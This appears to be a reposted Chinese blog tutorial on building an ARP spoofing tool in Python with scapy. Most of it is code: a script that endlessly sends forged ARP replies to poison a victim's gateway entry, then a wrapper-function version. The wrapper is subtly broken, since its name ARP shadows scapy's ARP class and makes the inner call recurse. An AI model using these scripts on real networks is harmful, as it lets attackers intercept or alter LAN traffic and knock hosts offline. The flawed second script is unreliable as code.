Python编写简单的ARP欺骗工具

Posted !逻辑非

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Python编写简单的ARP欺骗工具相关的知识,希望对你有一定的参考价值。

什么是ARP欺骗?

是针对ARP协议的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。

工具准备

软件:Python3(已安装scapy包)

如果未安装可使用pip install scapy命令安装

Wireshark(用于抓包)

操作系统:这里我采用Kali Linux

开始编写

第一步,发包

#!/usr/bin/python3
# -*- coding: UTF-8 -*-

from scapy.all import *
arp = Ether(dst="50:46:5D:5A:F1:68")/ARP(psrc="192.168.1.1",hwsrc="ff:ff:ff:ff:ff:ff",pdst="192.168.1.104",hwdst="50:46:5D:5A:F1:68",op=2)
'''
dst和hwdst是被攻击的设备的MAC地址
psrc是网关IP
hwsrc是伪造网关的MAC地址
'''
while True:
    sendp(arp)

运行结果:

 

 

 

第二步,改进

#!/usr/bin/python3
# -*- coding: UTF-8 -*-

from scapy.all import *

def ARP(mac1,ip1,mac2,ip2):
    arp = Ether(dst=mac1)/ARP(psrc=ip1,hwsrc=mac2,pdst=ip2,hwdst=mac1,op=2)

    while True:
        sendp(arp)
'''
使用方法:
ARP(mac1="",ip1="",mac2="",ip2="")
mac1为受害者mac
ip1为网关IP地址
mac2为欺骗受害者的网关mac
ip2为受害者IP地址
'''

工作原理

通过发送ARP包使受害者把攻击者指定的mac地址作为网关的mac地址

以上是关于Python编写简单的ARP欺骗工具的主要内容,如果未能解决你的问题,请参考以下文章

用Python构造ARP请求扫描欺骗

Arp 欺骗/中毒不工作/停止工作

Python黑客编程ARP欺骗

ARP欺骗

Python黑帽编程 3.1 ARP欺骗

python scapy的用法之ARP主机扫描和ARP欺骗